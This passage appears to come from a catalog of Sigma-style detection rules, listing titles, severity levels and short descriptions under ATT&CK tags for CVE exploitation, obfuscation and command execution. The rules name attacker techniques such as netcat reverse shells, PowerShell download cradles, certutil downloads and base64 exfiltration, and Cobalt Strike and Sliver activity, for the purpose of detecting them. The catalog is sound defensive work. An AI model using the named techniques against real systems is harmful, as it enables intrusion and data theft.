Exploitation Attempt - Level: high Description: Detects potential exploitation attempts of CVE-2022-21587 an arbitrary file upload vulnerability impacting Oracle E-Business Suite (EBS). CVE-2022-21587 can lead to unauthenticated remote code execution. Potential CVE-2022-22954 Exploitation Attempt - VMware Workspace ONE Access Remote Code Execution - Level: medium Description: Detects potential exploitation attempt of CVE-2022-22954, a remote code execution vulnerability in VMware Workspace ONE Access and Identity Manager. As reported by Morphisec, part of the attack chain, threat actors used PowerShell commands that executed as a child processes of the legitimate Tomcat "prunsrv.exe" process application. Potential CVE-2022-26809 Exploitation Attempt - Level: high Description: Detects suspicious remote procedure call (RPC) service anomalies based on the spawned sub processes (long shot to detect the exploitation of vulnerabilities like CVE-2022-26809) Zimbra Collaboration Suite Email Server Unauthenticated RCE - Level: medium Description: Detects an attempt to leverage the vulnerable servlet "mboximport" for an unauthenticated remote command injection CVE-2022-31659 VMware Workspace ONE Access RCE - Level: medium Description: Detects possible exploitation of VMware Workspace ONE Access Admin Remote Code Execution vulnerability as described in CVE-2022-31659 CVE-2022-31656 VMware Workspace ONE Access Auth Bypass - Level: high Description: Detects the exploitation of VMware Workspace ONE Access Authentication Bypass vulnerability as described in CVE-2022-31656 VMware Workspace ONE Access, Identity Manager and vRealize Automation contain an authentication bypass vulnerability affecting local domain users. A malicious actor with network access to the UI may be able to obtain administrative access without the need to authenticate. Apache Spark Shell Command Injection - Weblogs - Level: high Description: Detects attempts to exploit an apache spark server via CVE-2014-6287 from a weblogs perspective Atlassian Bitbucket Command Injection Via Archive API - Level: high Description: Detects attempts to exploit the Atlassian Bitbucket Command Injection CVE-2022-36804 Potential OWASSRF Exploitation Attempt - Proxy - Level: high Description: Detects exploitation attempt of the OWASSRF variant targeting exchange servers It uses the OWA endpoint to access the powershell backend endpoint OWASSRF Exploitation Attempt Using Public POC - Proxy - Level: critical Description: Detects exploitation attempt of the OWASSRF variant targeting exchange servers using publicly available POC. It uses the OWA endpoint to access the powershell backend endpoint Potential OWASSRF Exploitation Attempt - Webserver - Level: high Description: Detects exploitation attempt of the OWASSRF variant targeting exchange servers It uses the OWA endpoint to access the powershell backend endpoint OWASSRF Exploitation Attempt Using Public POC - Webserver - Level: critical Description: Detects exploitation attempt of the OWASSRF variant targeting exchange servers using publicly available POC. It uses the OWA endpoint to access the powershell backend endpoint Potential Centos Web Panel Exploitation Attempt - CVE-2022-44877 - Level: high Description: Detects potential exploitation attempts that target the Centos Web Panel 7 Unauthenticated Remote Code Execution CVE-2022-44877 Potential CVE-2022-46169 Exploitation Attempt - Level: high Description: Detects potential exploitation attempts that target the Cacti Command Injection CVE-2022-46169 CVE-2023-1389 Potential Exploitation Attempt - Unauthenticated Command Injection In TP-Link Archer AX21 - Level: medium Description: Detects potential exploitation attempt of CVE-2023-1389 an Unauthenticated Command Injection in TP-Link Archer AX21. CVE-2023-22518 Exploitation Attempt - Suspicious Confluence Child Process (Linux) - Level: high Description: Detects exploitation attempt of CVE-2023-22518 (Confluence Data Center / Confluence Server), where an attacker can exploit vulnerable endpoints to e.g. create admin accounts and execute arbitrary commands. CVE-2023-22518 Exploitation Attempt - Suspicious Confluence Child Process (Windows) - Level: medium Description: Detects exploitation attempt of CVE-2023-22518 (Confluence Data Center / Confluence Server), where an attacker can exploit vulnerable endpoints to e.g. create admin accounts and execute arbitrary commands. CVE-2023-22518 Exploitation Attempt - Vulnerable Endpoint Connection (Proxy) - Level: medium Description: Detects exploitation attempt of CVE-2023-22518 (Confluence Data Center / Confluence Server), where an attacker can exploit vulnerable endpoints to e.g. create admin accounts and execute arbitrary commands. CVE-2023-22518 Exploitation Attempt - Vulnerable Endpoint Connection (Webserver) - Level: medium Description: Detects exploitation attempt of CVE-2023-22518 (Confluence Data Center / Confluence Server), where an attacker can exploit vulnerable endpoints to e.g. create admin accounts and execute arbitrary commands. Potential CVE-2023-2283 Exploitation - Level: medium Description: Detects potential exploitation attempt of CVE-2023-2283 an authentication bypass in libSSH. The exploitation method causes an error message stating that keys for curve25519 could not be generated. It is an error message that is a sign of an exploitation attempt. It is not a sign of a successful exploitation. Potential CVE-2023-23752 Exploitation Attempt - Level: high Description: Detects the potential exploitation attempt of CVE-2023-23752 an Improper access check, in web service endpoints in Joomla Potential CVE-2023-25717 Exploitation Attempt - Level: high Description: Detects a potential exploitation attempt of CVE-2023-25717 a Remote Code Execution via an unauthenticated HTTP GET Request, in Ruckus Wireless Admin Potential CVE-2023-27997 Exploitation Indicators - Level: medium Description: Detects indicators of potential exploitation of CVE-2023-27997 in Frotigate weblogs. To avoid false positives it is best to look for successive requests to the endpoints mentioned as well as weird values of the "enc" parameter Potential MOVEit Transfer CVE-2023-34362 Exploitation - File Activity - Level: high Description: Detects file indicators of potential exploitation of MOVEit CVE-2023-34362. Potential Information Disclosure CVE-2023-43261 Exploitation - Proxy - Level: high Description: Detects exploitation attempts of CVE-2023-43261 and information disclosure in Milesight UR5X, UR32L, UR32, UR35, UR41 before v35.3.0.7 that allows attackers to access sensitive router components in proxy logs. Potential Information Disclosure CVE-2023-43261 Exploitation - Web - Level: high Description: Detects exploitation attempts of CVE-2023-43261 and information disclosure in Milesight UR5X, UR32L, UR32, UR35, UR41 before v35.3.0.7 that allows attackers to access sensitive router components in access logs. CVE-2023-46747 Exploitation Activity - Proxy - Level: high Description: Detects exploitation activity of CVE-2023-46747 an unauthenticated remote code execution vulnerability in F5 BIG-IP. CVE-2023-46747 Exploitation Activity - Webserver - Level: high Description: Detects exploitation activity of CVE-2023-46747 an unauthenticated remote code execution vulnerability in F5 BIG-IP. CVE-2023-4966 Exploitation Attempt - Citrix ADC Sensitive Information Disclosure - Proxy - Level: high Description: Detects exploitation attempt of CVE-2023-4966 a Citrix ADC and NetScaler Gateway sensitive information disclosure vulnerability via proxy logs by looking for a very long host header string. CVE-2023-4966 Potential Exploitation Attempt - Citrix ADC Sensitive Information Disclosure - Proxy - Level: medium Description: Detects potential exploitation attempt of CVE-2023-4966 a Citrix ADC and NetScaler Gateway sensitive information disclosure vulnerability via proxy logs. CVE-2023-4966 Potential Exploitation Attempt - Citrix ADC Sensitive Information Disclosure - Webserver - Level: medium Description: Detects potential exploitation attempt of CVE-2023-4966 a Citrix ADC and NetScaler Gateway sensitive information disclosure vulnerability via webserver logs. CVE-2023-4966 Exploitation Attempt - Citrix ADC Sensitive Information Disclosure - Webserver - Level: high Description: Detects exploitation attempt of CVE-2023-4966 a Citrix ADC and NetScaler Gateway sensitive information disclosure vulnerability via webserver logs by looking for a very long host header string. Potential Exploitation Attempt Of Undocumented WindowsServer RCE - Level: high Description: Detects potential exploitation attempt of undocumented Windows Server Pre Auth Remote Code Execution (RCE) CVE-2024-50623 Exploitation Attempt - Cleo - Level: high Description: Detects exploitation attempt of Cleo's CVE-2024-50623 by looking for a "cmd.exe" process spawning from the Celo software suite with suspicious Powershell commandline. OMIGOD SCX RunAsProvider ExecuteScript - Level: high Description: Rule to detect the use of the SCX RunAsProvider ExecuteScript to execute any UNIX/Linux script using the /bin/sh shell. Script being executed gets created as a temp file in /tmp folder with a scx prefix. Then it is invoked from the following directory /etc/opt/microsoft/scx/conf/tmpdir/. The file in that directory has the same prefix scx*. SCXcore, started as the Microsoft Operations Manager UNIX/Linux Agent, is now used in a host of products including Microsoft Operations Manager. Microsoft Azure, and Microsoft Operations Management Suite. Multiple Suspicious Resp Codes Caused by Single Client - Level: medium Description: Detects possible exploitation activity or bugs in a web application
attack.t1027	110	Show Rules (110) Invoke-Obfuscation RUNDLL LAUNCHER - Level: medium Description: Detects Obfuscated Powershell via RUNDLL LAUNCHER Invoke-Obfuscation Via Use Rundll32 - Level: high Description: Detects Obfuscated Powershell via use Rundll32 in Scripts Base64 Encoded Listing of Shadowcopy - Level: high Description: Detects base64 encoded listing Win32_Shadowcopy Malicious Base64 Encoded Powershell Invoke Cmdlets - Level: high Description: Detects base64 encoded powershell cmdlet invocation of known suspicious cmdlets Potential PowerShell Base64 Encoded Shellcode - Level: medium Description: Detects potential powershell Base64 encoded Shellcode Potential Xor Encoded PowerShell Command - Level: medium Description: Detects usage of "xor" or "bxor" in combination of a "foreach" loop. This pattern is often found in encoded powershell code and commands as a way to avoid detection New Service Uses Double Ampersand in Path - Level: high Description: Detects a service installation that uses a suspicious double ampersand used in the image path value Decode Base64 Encoded Text - Level: low Description: Detects usage of base64 utility to decode arbitrary base64-encoded text Decode Base64 Encoded Text -MacOs - Level: low Description: Detects usage of base64 utility to decode arbitrary base64-encoded text Invoke-Obfuscation CLIP+ Launcher - Security - Level: high Description: Detects Obfuscated use of Clip.exe to execute PowerShell Invoke-Obfuscation Obfuscated IEX Invocation - Security - Level: high Description: Detects all variations of obfuscated powershell IEX invocation code generated by Invoke-Obfuscation framework from the code block linked in the references Invoke-Obfuscation STDIN+ Launcher - Security - Level: high Description: Detects Obfuscated use of stdin to execute PowerShell Invoke-Obfuscation VAR+ Launcher - Security - Level: high Description: Detects Obfuscated use of Environment Variables to execute PowerShell Invoke-Obfuscation COMPRESS OBFUSCATION - Security - Level: medium Description: Detects Obfuscated Powershell via COMPRESS OBFUSCATION Invoke-Obfuscation RUNDLL LAUNCHER - Security - Level: medium Description: Detects Obfuscated Powershell via RUNDLL LAUNCHER Invoke-Obfuscation Via Stdin - Security - Level: high Description: Detects Obfuscated Powershell via Stdin in Scripts Invoke-Obfuscation Via Use Clip - Security - Level: high Description: Detects Obfuscated Powershell via use Clip.exe in Scripts Invoke-Obfuscation Via Use MSHTA - Security - Level: high Description: Detects Obfuscated Powershell via use MSHTA in Scripts Invoke-Obfuscation Via Use Rundll32 - Security - Level: high Description: Detects Obfuscated Powershell via use Rundll32 in Scripts Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION - Security - Level: high Description: Detects Obfuscated Powershell via VAR++ LAUNCHER Password Protected ZIP File Opened - Level: medium Description: Detects the extraction of password protected ZIP archives. See the filename variable for more details on which file has been opened. Password Protected ZIP File Opened (Suspicious Filenames) - Level: high Description: Detects the extraction of password protected ZIP archives with suspicious file names. See the filename variable for more details on which file has been opened. Password Protected ZIP File Opened (Email Attachment) - Level: high Description: Detects the extraction of password protected ZIP archives. See the filename variable for more details on which file has been opened. Invoke-Obfuscation CLIP+ Launcher - System - Level: high Description: Detects Obfuscated use of Clip.exe to execute PowerShell Invoke-Obfuscation Obfuscated IEX Invocation - System - Level: high Description: Detects all variations of obfuscated powershell IEX invocation code generated by Invoke-Obfuscation framework from the code block linked in the references Invoke-Obfuscation STDIN+ Launcher - System - Level: high Description: Detects Obfuscated use of stdin to execute PowerShell Invoke-Obfuscation VAR+ Launcher - System - Level: high Description: Detects Obfuscated use of Environment Variables to execute PowerShell Invoke-Obfuscation COMPRESS OBFUSCATION - System - Level: medium Description: Detects Obfuscated Powershell via COMPRESS OBFUSCATION Invoke-Obfuscation Via Stdin - System - Level: high Description: Detects Obfuscated Powershell via Stdin in Scripts Invoke-Obfuscation RUNDLL LAUNCHER - System - Level: medium Description: Detects Obfuscated Powershell via RUNDLL LAUNCHER Invoke-Obfuscation Via Use Clip - System - Level: high Description: Detects Obfuscated Powershell via use Clip.exe in Scripts Invoke-Obfuscation Via Use MSHTA - System - Level: high Description: Detects Obfuscated Powershell via use MSHTA in Scripts Invoke-Obfuscation Via Use Rundll32 - System - Level: high Description: Detects Obfuscated Powershell via use Rundll32 in Scripts Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION - System - Level: high Description: Detects Obfuscated Powershell via VAR++ LAUNCHER Potential Winnti Dropper Activity - Level: high Description: Detects files dropped by Winnti as described in RedMimicry Winnti playbook Suspicious Get-Variable.exe Creation - Level: high Description: Get-Variable is a valid PowerShell cmdlet WindowsApps is by default in the path where PowerShell is executed. So when the Get-Variable command is issued on PowerShell execution, the system first looks for the Get-Variable executable in the path and executes the malicious binary instead of looking for the PowerShell cmdlet. Invoke-Obfuscation CLIP+ Launcher - PowerShell Module - Level: high Description: Detects Obfuscated use of Clip.exe to execute PowerShell Invoke-Obfuscation Obfuscated IEX Invocation - PowerShell Module - Level: high Description: Detects all variations of obfuscated powershell IEX invocation code generated by Invoke-Obfuscation framework from the code block cited in the reference section below Invoke-Obfuscation STDIN+ Launcher - PowerShell Module - Level: high Description: Detects Obfuscated use of stdin to execute PowerShell Invoke-Obfuscation VAR+ Launcher - PowerShell Module - Level: high Description: Detects Obfuscated use of Environment Variables to execute PowerShell Invoke-Obfuscation COMPRESS OBFUSCATION - PowerShell Module - Level: medium Description: Detects Obfuscated Powershell via COMPRESS OBFUSCATION Invoke-Obfuscation RUNDLL LAUNCHER - PowerShell Module - Level: medium Description: Detects Obfuscated Powershell via RUNDLL LAUNCHER Invoke-Obfuscation Via Stdin - PowerShell Module - Level: high Description: Detects Obfuscated Powershell via Stdin in Scripts Invoke-Obfuscation Via Use MSHTA - PowerShell Module - Level: high Description: Detects Obfuscated Powershell via use MSHTA in Scripts Invoke-Obfuscation Via Use Clip - PowerShell Module - Level: high Description: Detects Obfuscated Powershell via use Clip.exe in Scripts Invoke-Obfuscation Via Use Rundll32 - PowerShell Module - Level: high Description: Detects Obfuscated Powershell via use Rundll32 in Scripts Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION - PowerShell Module - Level: high Description: Detects Obfuscated Powershell via VAR++ LAUNCHER Invoke-Obfuscation CLIP+ Launcher - PowerShell - Level: high Description: Detects Obfuscated use of Clip.exe to execute PowerShell Invoke-Obfuscation Obfuscated IEX Invocation - PowerShell - Level: high Description: Detects all variations of obfuscated powershell IEX invocation code generated by Invoke-Obfuscation framework from the following code block \u2014 Invoke-Obfuscation STDIN+ Launcher - Powershell - Level: high Description: Detects Obfuscated use of stdin to execute PowerShell Invoke-Obfuscation VAR+ Launcher - PowerShell - Level: high Description: Detects Obfuscated use of Environment Variables to execute PowerShell Invoke-Obfuscation COMPRESS OBFUSCATION - PowerShell - Level: medium Description: Detects Obfuscated Powershell via COMPRESS OBFUSCATION Invoke-Obfuscation RUNDLL LAUNCHER - PowerShell - Level: medium Description: Detects Obfuscated Powershell via RUNDLL LAUNCHER Invoke-Obfuscation Via Stdin - Powershell - Level: high Description: Detects Obfuscated Powershell via Stdin in Scripts Invoke-Obfuscation Via Use Clip - Powershell - Level: high Description: Detects Obfuscated Powershell via use Clip.exe in Scripts Invoke-Obfuscation Via Use MSHTA - PowerShell - Level: high Description: Detects Obfuscated Powershell via use MSHTA in Scripts Invoke-Obfuscation Via Use Rundll32 - PowerShell - Level: high Description: Detects Obfuscated Powershell via use Rundll32 in Scripts Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION - PowerShell - Level: high Description: Detects Obfuscated Powershell via VAR++ LAUNCHER Potential PowerShell Obfuscation Using Character Join - Level: low Description: Detects specific techniques often seen used inside of PowerShell scripts to obfscuate Alias creation Potential PowerShell Obfuscation Using Alias Cmdlets - Level: low Description: Detects Set-Alias or New-Alias cmdlet usage. Which can be use as a mean to obfuscate PowerShell scripts File Decoded From Base64/Hex Via Certutil.EXE - Level: medium Description: Detects the execution of certutil with either the "decode" or "decodehex" flags to decode base64 or hex encoded files. This can be abused by attackers to decode an encoded payload before execution Suspicious Download Via Certutil.EXE - Level: medium Description: Detects the execution of certutil with certain flags that allow the utility to download files. Suspicious File Downloaded From Direct IP Via Certutil.EXE - Level: high Description: Detects the execution of certutil with certain flags that allow the utility to download files from direct IPs. Suspicious File Downloaded From File-Sharing Website Via Certutil.EXE - Level: high Description: Detects the execution of certutil with certain flags that allow the utility to download files from file-sharing websites. File Encoded To Base64 Via Certutil.EXE - Level: medium Description: Detects the execution of certutil with the "encode" flag to encode a file to base64. This can be abused by threat actors and attackers for data exfiltration Suspicious File Encoded To Base64 Via Certutil.EXE - Level: high Description: Detects the execution of certutil with the "encode" flag to encode a file to base64 where the extensions of the file is suspicious File In Suspicious Location Encoded To Base64 Via Certutil.EXE - Level: high Description: Detects the execution of certutil with the "encode" flag to encode a file to base64 where the files are located in potentially suspicious locations Certificate Exported Via Certutil.EXE - Level: medium Description: Detects the execution of the certutil with the "exportPFX" flag which allows the utility to export certificates. Invoke-Obfuscation COMPRESS OBFUSCATION - Level: medium Description: Detects Obfuscated Powershell via COMPRESS OBFUSCATION Invoke-Obfuscation CLIP+ Launcher - Level: high Description: Detects Obfuscated use of Clip.exe to execute PowerShell Invoke-Obfuscation Obfuscated IEX Invocation - Level: high Description: Detects all variations of obfuscated powershell IEX invocation code generated by Invoke-Obfuscation framework from the following code block Invoke-Obfuscation STDIN+ Launcher - Level: high Description: Detects Obfuscated use of stdin to execute PowerShell Invoke-Obfuscation VAR+ Launcher - Level: high Description: Detects Obfuscated use of Environment Variables to execute PowerShell Invoke-Obfuscation Via Stdin - Level: high Description: Detects Obfuscated Powershell via Stdin in Scripts Invoke-Obfuscation Via Use Clip - Level: high Description: Detects Obfuscated Powershell via use Clip.exe in Scripts Invoke-Obfuscation Via Use MSHTA - Level: high Description: Detects Obfuscated Powershell via use MSHTA in Scripts Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION - Level: high Description: Detects Obfuscated Powershell via VAR++ LAUNCHER Ping Hex IP - Level: high Description: Detects a ping command that uses a hex encoded IP address PowerShell Base64 Encoded Invoke Keyword - Level: high Description: Detects UTF-8 and UTF-16 Base64 encoded powershell 'Invoke-' calls PowerShell Base64 Encoded Reflective Assembly Load - Level: high Description: Detects base64 encoded .NET reflective loading of Assembly Suspicious Encoded And Obfuscated Reflection Assembly Load Function Call - Level: high Description: Detects suspicious base64 encoded and obfuscated "LOAD" keyword used in .NET "reflection.assembly" PowerShell Base64 Encoded WMI Classes - Level: high Description: Detects calls to base64 encoded WMI class such as "Win32_ShadowCopy", "Win32_ScheduledJob", etc. Potential PowerShell Obfuscation Via Reversed Commands - Level: high Description: Detects the presence of reversed PowerShell commands in the CommandLine. This is often used as a method of obfuscation by attackers ConvertTo-SecureString Cmdlet Usage Via CommandLine - Level: medium Description: Detects usage of the "ConvertTo-SecureString" cmdlet via the commandline. Which is fairly uncommon and could indicate potential suspicious activity Potential PowerShell Command Line Obfuscation - Level: high Description: Detects the PowerShell command lines with special characters Potential Encoded PowerShell Patterns In CommandLine - Level: low Description: Detects specific combinations of encoding methods in PowerShell via the commandline Base64 Encoded PowerShell Command Detected - Level: high Description: Detects usage of the "FromBase64String" function in the commandline which is used to decode a base64 encoded string Potential PowerShell Obfuscation Via WCHAR - Level: high Description: Detects suspicious encoded character syntax often used for defense evasion Suspicious XOR Encoded PowerShell Command - Level: medium Description: Detects presence of a potentially xor encoded powershell command PUA - Potential PE Metadata Tamper Using Rcedit - Level: medium Description: Detects the use of rcedit to potentially alter executable PE metadata properties, which could conceal efforts to rename system utilities for defense evasion. Renamed AutoIt Execution - Level: high Description: Detects the execution of a renamed AutoIt2.exe or AutoIt3.exe. AutoIt is a scripting language and automation tool for Windows systems. While primarily used for legitimate automation tasks, it can be misused in cyber attacks. Attackers can leverage AutoIt to create and distribute malware, including keyloggers, spyware, and botnets. A renamed AutoIt executable is particularly suspicious. Potential CommandLine Obfuscation Using Unicode Characters From Suspicious Image - Level: high Description: Detects potential commandline obfuscation using unicode characters. Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. Suspicious SYSTEM User Process Creation - Level: high Description: Detects a suspicious process creation as SYSTEM user (suspicious program or command line parameter) Turla Group Commands May 2020 - Level: critical Description: Detects commands used by Turla group as reported by ESET in May 2020 Potential Emotet Activity - Level: high Description: Detects all Emotet like process executions that are not covered by the more generic rules Operation Wocao Activity - Level: high Description: Detects activity mentioned in Operation Wocao report Operation Wocao Activity - Security - Level: high Description: Detects activity mentioned in Operation Wocao report Potential CommandLine Obfuscation Using Unicode Characters - Level: medium Description: Detects potential CommandLine obfuscation using unicode characters. Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. Potential Suspicious Execution From GUID Like Folder Names - Level: low Description: Detects potential suspicious execution of a GUID like folder name located in a suspicious location such as %TEMP% as seen being used in IcedID attacks. Use this rule to hunt for potentially suspicious activity stemming from uncommon folders. Invoke-Obfuscation CLIP+ Launcher - Level: high Description: Detects Obfuscated use of Clip.exe to execute PowerShell Invoke-Obfuscation Obfuscated IEX Invocation - Level: high Description: Detects all variations of obfuscated powershell IEX invocation code generated by Invoke-Obfuscation framework (See reference section for code block) Invoke-Obfuscation STDIN+ Launcher - Level: high Description: Detects Obfuscated use of stdin to execute PowerShell Invoke-Obfuscation VAR+ Launcher - Level: high Description: Detects Obfuscated use of Environment Variables to execute PowerShell Invoke-Obfuscation COMPRESS OBFUSCATION - Level: medium Description: Detects Obfuscated Powershell via COMPRESS OBFUSCATION Invoke-Obfuscation RUNDLL LAUNCHER - Level: medium Description: Detects Obfuscated Powershell via RUNDLL LAUNCHER Invoke-Obfuscation Via Stdin - Level: high Description: Detects Obfuscated Powershell via Stdin in Scripts Invoke-Obfuscation Via Use Clip - Level: high Description: Detects Obfuscated Powershell via use Clip.exe in Scripts Invoke-Obfuscation Via Use MSHTA - Level: high Description: Detects Obfuscated Powershell via use MSHTA in Scripts Invoke-Obfuscation Via Use Rundll32 - Level: high Description: Detects Obfuscated Powershell via use Rundll32 in Scripts Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION - Level: high Description: Detects Obfuscated Powershell via VAR++ LAUNCHER
attack.t1059	95	Show Rules (95) Lazarus Loaders - Level: critical Description: Detects different loaders as described in various threat reports on Lazarus group activity Execution via MSSQL Xp_cmdshell Stored Procedure - Level: high Description: Detects execution via MSSQL xp_cmdshell stored procedure. Malicious users may attempt to elevate their privileges by using xp_cmdshell, which is disabled by default. Wscript Execution from Non C Drive - Level: medium Description: Detects Wscript or Cscript executing from a drive other than C. This has been observed with Qakbot executing from within a mounted ISO file. Lateral Movement Indicator ConDrv - Level: low Description: This event was observed on the target host during lateral movement. The process name within the event contains the process spawned post compromise. Account Name within the event contains the compromised user account name. This event should to be correlated with 4624 and 4688 for further intrusion context. Azure New CloudShell Created - Level: medium Description: Identifies when a new cloudshell is created inside of Azure portal. BPFDoor Abnormal Process ID or Lock File Accessed - Level: high Description: detects BPFDoor .lock and .pid files access in temporary file storage facility Suspicious Invocation of Shell via AWK - Linux - Level: high Description: Detects the execution of "awk" or it's sibling commands, to invoke a shell using the system() function. This behavior is commonly associated with attempts to execute arbitrary commands or escalate privileges, potentially leading to unauthorized access or further exploitation. Capsh Shell Invocation - Linux - Level: high Description: Detects the use of the "capsh" utility to invoke a shell. Atlassian Confluence CVE-2022-26134 - Level: high Description: Detects spawning of suspicious child processes by Atlassian Confluence server which may indicate successful exploitation of CVE-2022-26134 Shell Invocation via Env Command - Linux - Level: high Description: Detects the use of the env command to invoke a shell. This may indicate an attempt to bypass restricted environments, escalate privileges, or execute arbitrary commands. Shell Execution via Git - Linux - Level: high Description: Detects the use of the "git" utility to execute a shell. Such behavior may be associated with privilege escalation, unauthorized command execution, or to break out from restricted environments. Potential Netcat Reverse Shell Execution - Level: high Description: Detects execution of netcat with the "-e" flag followed by common shells. This could be a sign of a potential reverse shell setup. Python Spawning Pretty TTY Via PTY Module - Level: medium Description: Detects a python process calling to the PTY module in order to spawn a pretty tty which could be indicative of potential reverse shell activity. Inline Python Execution - Spawn Shell Via OS System Library - Level: high Description: Detects execution of inline Python code via the "-c" in order to call the "system" function from the "os" library, and spawn a shell. Shell Execution via Rsync - Linux - Level: high Description: Detects the use of the "rsync" utility to execute a shell. Such behavior may be associated with privilege escalation, unauthorized command execution, or to break out from restricted environments. Suspicious Invocation of Shell via Rsync - Level: high Description: Detects the execution of a shell as sub process of "rsync" without the expected command line flag "-e" being used, which could be an indication of exploitation as described in CVE-2024-12084. This behavior is commonly associated with attempts to execute arbitrary commands or escalate privileges, potentially leading to unauthorized access or further exploitation. Shell Invocation Via Ssh - Linux - Level: high Description: Detects the use of the "ssh" utility to execute a shell. Such behavior may be associated with privilege escalation, unauthorized command execution, or to break out from restricted environments. Suspicious Java Children Processes - Level: high Description: Detects java process spawning suspicious children Potential Xterm Reverse Shell - Level: medium Description: Detects usage of "xterm" as a potential reverse shell tunnel Suspicious Installer Package Child Process - Level: medium Description: Detects the execution of suspicious child processes from macOS installer package parent process. This includes osascript, JXA, curl and wget amongst other interpreters Payload Decoded and Decrypted via Built-in Utilities - Level: medium Description: Detects when a built-in utility is used to decode and decrypt a payload after a macOS disk image (DMG) is executed. Malware authors may attempt to evade detection and trick users into executing malicious code by encoding and encrypting their payload and placing it in a disk image file. This behavior is consistent with adware or malware families such as Bundlore and Shlayer. Suspicious Browser Child Process - MacOS - Level: medium Description: Detects suspicious child processes spawned from browsers. This could be a result of a potential web browser exploitation. Suspicious Execution via macOS Script Editor - Level: medium Description: Detects when the macOS Script Editor utility spawns an unusual child process. Hacktool Ruler - Level: high Description: This events that are generated when using the hacktool Ruler by Sensepost Windows Defender AMSI Trigger Detected - Level: high Description: Detects triggering of AMSI by Windows Defender. Windows Defender Threat Detected - Level: high Description: Detects actions taken by Windows Defender malware detection engines PCRE.NET Package Temp Files - Level: high Description: Detects processes creating temp files related to PCRE.NET package Suspicious File Created In PerfLogs - Level: medium Description: Detects suspicious file based on their extension being created in "C:\PerfLogs\". Note that this directory mostly contains ".etl" files Windows Shell/Scripting Application File Write to Suspicious Folder - Level: high Description: Detects Windows shells and scripting applications that write files to suspicious folders PCRE.NET Package Image Load - Level: high Description: Detects processes loading modules related to PCRE.NET package Abusable DLL Potential Sideloading From Suspicious Location - Level: high Description: Detects potential DLL sideloading of DLLs that are known to be abused from suspicious locations Windows Defender Exclusions Added - PowerShell - Level: medium Description: Detects modifications to the Windows Defender configuration settings using PowerShell to add exclusions Potential Dosfuscation Activity - Level: medium Description: Detects possible payload obfuscation via the commandline Unusual Parent Process For Cmd.EXE - Level: medium Description: Detects suspicious parent process for cmd.exe Conhost Spawned By Uncommon Parent Process - Level: medium Description: Detects when the Console Window Host (conhost.exe) process is spawned by an uncommon parent process, which could be indicative of potential code injection activity. Forfiles Command Execution - Level: medium Description: Detects the execution of "forfiles" with the "/c" flag. While this is an expected behavior of the tool, it can be abused in order to proxy execution through it with any binary. Can be used to bypass application whitelisting. Use of FSharp Interpreters - Level: medium Description: Detects the execution of FSharp Interpreters "FsiAnyCpu.exe" and "FSi.exe" Both can be used for AWL bypass and to execute F# code via scripts or inline. Fsutil Behavior Set SymlinkEvaluation - Level: medium Description: A symbolic link is a type of file that contains a reference to another file. This is probably done to make sure that the ransomware is able to follow shortcuts on the machine in order to find the original file to encrypt Potential Arbitrary Command Execution Via FTP.EXE - Level: medium Description: Detects execution of "ftp.exe" script with the "-s" or "/s" flag and any child processes ran by "ftp.exe". Potential CobaltStrike Process Patterns - Level: high Description: Detects potential process patterns related to Cobalt Strike beacon activity HackTool - Sliver C2 Implant Activity Pattern - Level: critical Description: Detects process activity patterns as seen being used by Sliver C2 framework implants HackTool - Stracciatella Execution - Level: high Description: Detects Stracciatella which executes a Powershell runspace from within C# (aka SharpPick technique) with AMSI, ETW and Script Block Logging disabled based on PE metadata characteristics. Use of OpenConsole - Level: medium Description: Detects usage of OpenConsole binary as a LOLBIN to launch other binaries to bypass application Whitelisting Use of Pcalua For Execution - Level: medium Description: Detects execition of commands and binaries from the context of The program compatibility assistant (Pcalua.exe). This can be used as a LOLBIN in order to bypass application whitelisting. Suspicious Runscripthelper.exe - Level: medium Description: Detects execution of powershell scripts via Runscripthelper.exe Wscript Shell Run In CommandLine - Level: medium Description: Detects the presence of the keywords "Wscript", "Shell" and "Run" in the command, which could indicate a suspicious activity Outlook EnableUnsafeClientMailRules Setting Enabled - Level: high Description: Detects an attacker trying to enable the outlook security setting "EnableUnsafeClientMailRules" which allows outlook to run applications or execute macros Suspicious Remote Child Process From Outlook - Level: high Description: Detects a suspicious child process spawning from Outlook where the image is located in a remote location (SMB/WebDav shares). Perl Inline Command Execution - Level: medium Description: Detects execution of perl using the "-e"/"-E" flags. This is could be used as a way to launch a reverse shell or execute live perl code. Php Inline Command Execution - Level: medium Description: Detects execution of php using the "-r" flag. This is could be used as a way to launch a reverse shell or execute live php code. PowerShell Download and Execution Cradles - Level: high Description: Detects PowerShell download and execution cradles. Run PowerShell Script from Redirected Input Stream - Level: high Description: Detects PowerShell script execution via input stream redirect PUA - Wsudo Suspicious Execution - Level: high Description: Detects usage of wsudo (Windows Sudo Utility). Which is a tool that let the user execute programs with different permissions (System, Trusted Installer, Administrator...etc) Python Inline Command Execution - Level: medium Description: Detects execution of python using the "-c" flag. This is could be used as a way to launch a reverse shell or execute live python code. Python Spawning Pretty TTY on Windows - Level: high Description: Detects python spawning a pretty tty Suspicious Greedy Compression Using Rar.EXE - Level: high Description: Detects RAR usage that creates an archive from a suspicious folder, either a system folder or one of the folders often used by attackers for staging purposes Suspicious RASdial Activity - Level: medium Description: Detects suspicious process related to rasdial.exe Renamed CURL.EXE Execution - Level: medium Description: Detects the execution of a renamed "CURL.exe" binary based on the PE metadata fields Renamed FTP.EXE Execution - Level: medium Description: Detects the execution of a renamed "ftp.exe" binary based on the PE metadata fields Renamed NirCmd.EXE Execution - Level: high Description: Detects the execution of a renamed "NirCmd.exe" binary based on the PE metadata fields. Renamed PingCastle Binary Execution - Level: high Description: Detects the execution of a renamed "PingCastle" binary based on the PE metadata fields. Ruby Inline Command Execution - Level: medium Description: Detects execution of ruby using the "-e" flag. This is could be used as a way to launch a reverse shell or execute live ruby code. Elevated System Shell Spawned From Uncommon Parent Location - Level: medium Description: Detects when a shell program such as the Windows command prompt or PowerShell is launched with system privileges from a uncommon parent location. Potentially Suspicious Execution From Parent Process In Public Folder - Level: high Description: Detects a potentially suspicious execution of a parent process located in the "\Users\Public" folder executing a child process containing references to shell 